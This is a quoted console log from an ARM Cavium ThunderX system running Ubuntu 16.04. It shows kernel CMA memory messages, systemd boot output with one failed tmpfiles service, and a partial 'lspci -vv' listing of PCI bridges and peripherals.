> [ 7.794153] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.794195] cma:
> [ 7.794196] => 1487 free of 8192 total pages
> [ 7.794216] cma: number of available pages:
> [ 7.794216] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.794258] cma:
> [ 7.794259] => 1487 free of 8192 total pages
> [ 7.794360] cma: number of available pages:
> [ 7.794361] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.794403] cma:
> [ 7.794403] => 1487 free of 8192 total pages
> [ 7.812613] cma: number of available pages:
> [ 7.812614] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.812658] cma:
> [ 7.812659] => 1451 free of 8192 total pages
> [ 7.813700] cma: number of available pages:
> [ 7.813701] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.813745] cma:
> [ 7.813745] => 1451 free of 8192 total pages
> [ 7.814789] cma: number of available pages:
> [ 7.814790] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> [ 7.814834] cma:
> [ 7.814834] => 1451 free of 8192 total pages
> Mounting Configuration F[ 7.815876] cma: number of available pages:
> [ 7.815877] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> ile System...[ 7.815921] cma:
>
> [ 7.815921] => 1451 free of 8192 total pages
> [ 7.816963] cma: number of available pages:
> [ 7.816963] cma: range 0: +1@2735+3@2741+3@2749+3@2757+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2985+1@2991+3@3001+1@3007+3@3041+1@1
> Starting Apply Kernel Variables...
> Starting Load/Save Random Seed...
> [ OK ] Reached target Local File Systems (Pre).
> [ OK ] Reached target Local File Systems.
> Starting Enable support for additional executable binary formats...
> Starting Flush Journal to Persistent Storage...
> [ OK ] Mounted Configuration File System.
> [ OK ] Started Apply Kernel Variables.
> [ OK ] Started Load/Save Random Seed.
> [ OK ] Started Enable support for additional executable binary formats.
> Starting Raise network interfaces...
> [ OK ] Started LSB: QEMU KVM module loading script.
> [ OK ] Started Flush Journal to Persistent Storage.
> Starting Create Volatile Files and Directories...
> [FAILED] Failed to start Create Volatile Files and Directories.
> See 'systemctl status systemd-tmpfiles-setup.service' for details.
> Starting Network Time Synchronization...
> Starting Update UTMP about System Boot/Shutdown...
> [ OK ] Started Update UTMP about System Boot/Shutdown.
> [ OK ] Started Network Time Synchronization.
> [ OK ] Reached target System Time Synchronized.
> [ OK ] Reached target System Initialization.
> [ OK ] Listening on UUID daemon activation socket.
> [ OK ] Listening on D-Bus System Message Bus Socket.
> [ OK ] Reached target Sockets.
> [ OK ] Reached target Basic System.
> [ OK ] Started D-Bus System Message Bus.
> Starting LSB: Start/stop sysstat's sadc...
> Starting LSB: Set the CPU Frequency Scaling governor to "ondemand"...
> [ OK ] Started Daily apt download activities.
> [ OK ] Started Daily apt upgrade and clean activities.
> Starting Login Service...
> [ OK ] Started Message of the Day.
> [ OK ] Started Regular background program processing daemon.
> [ OK ] Started Daily Cleanup of Temporary Directories.
> [ OK ] Reached target Timers.
> Starting Permit User Sessions...
> [ OK ] Started Permit User Sessions.
> [ OK ] Started LSB: Start/stop sysstat's sadc.
> [ OK ] Started Raise network interfaces.
> [ OK ] Started LSB: Set the CPU Frequency Scaling governor to "ondemand".
> [ OK ] Started Login Service.
> [ OK ] Reached target Network.
> Starting /etc/rc.local Compatibility...
> Starting OpenBSD Secure Shell server...
> [ 16.688322] rc.local[236]: Sent message type=method_call sender=n/a destination=org.freedesktop.systemd1 object=/org/freedesktop/systemd1/unit/multi_2duser_2etarget interface=oa
> [ 16.712175] rc.local[236]: Got message type=method_return sender=n/a destination=n/a object=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 error=n/a
> [ 17.240520] rc.local[236]: Showing one /org/freedesktop/systemd1/unit/dbus_2esocket
> [ 17.265532] rc.local[236]: Sent message type=method_call sender=n/a destination=org.freedesktop.systemd1 object=/org/freedesktop/systemd1/unit/dbus_2esocket interface=org.freeda
> [ OK ] Started OpenBSD Secure Shell server.
> [ 17.296153] rc.local[236]: Got message type=method_return sender=n/a destination=n/a object=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 error=n/a
> [ 17.324564] rc.local[236]: Showing one /org/freedesktop/systemd1/unit/ssh_2esocket
> [ 17.340149] rc.local[236]: Sent message type=method_call sender=n/a destination=org.freedesktop.systemd1 object=/org/freedesktop/systemd1/unit/ssh_2esocket interface=org.freedea
> [ 17.368149] rc.local[236]: Got message type=method_return sender=n/a destination=n/a object=n/a interface=n/a member=n/a cookie=1 reply_cookie=1 error=n/a
> [ OK ] Started OpenBSD Secure Shell server.
> [ 17.384300] rc.local[236]: Showing one /org/freedesktop/systemd1/unit/syslog_2esocket
> [ OK ] Started /etc/rc.local Compatibility.
>
> Ubuntu 16.04.7 LTS localhost.localdomain ttyAMA0
>
> localhost login:
> Ubuntu 16.04.7 LTS localhost.localdomain ttyAMA0
>
> root@localhost:~# lspci -vv
> 0000:00:01.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
> lspci: Unable to load libkmod resources: error -12
>
> 0000:00:03.0 System peripheral: Cavium, Inc. Device a062
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 830000000000 (32-bit, non-prefetchable) [size=2M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:05.0 System peripheral: Cavium, Inc. THUNDERX GTI (Global System Timers)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 802000000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 80200f000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=138 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:08.0 System peripheral: Cavium, Inc. Device a09e (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 807000000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 807000f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=2 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Kernel driver in use: Marvell PTP Driver
>
> 0000:00:0a.0 System peripheral: Cavium, Inc. Device a09d
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87a400000000 (32-bit, non-prefetchable) [size=2G]
> Region 4: [virtual] Memory at 87a480000000 (32-bit, non-prefetchable) [size=2G]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:0c.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=02, subordinate=02, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:0d.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=03, subordinate=03, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:0e.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=04, subordinate=04, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:0f.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=05, subordinate=05, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:10.0 System peripheral: Cavium, Inc. Device a092
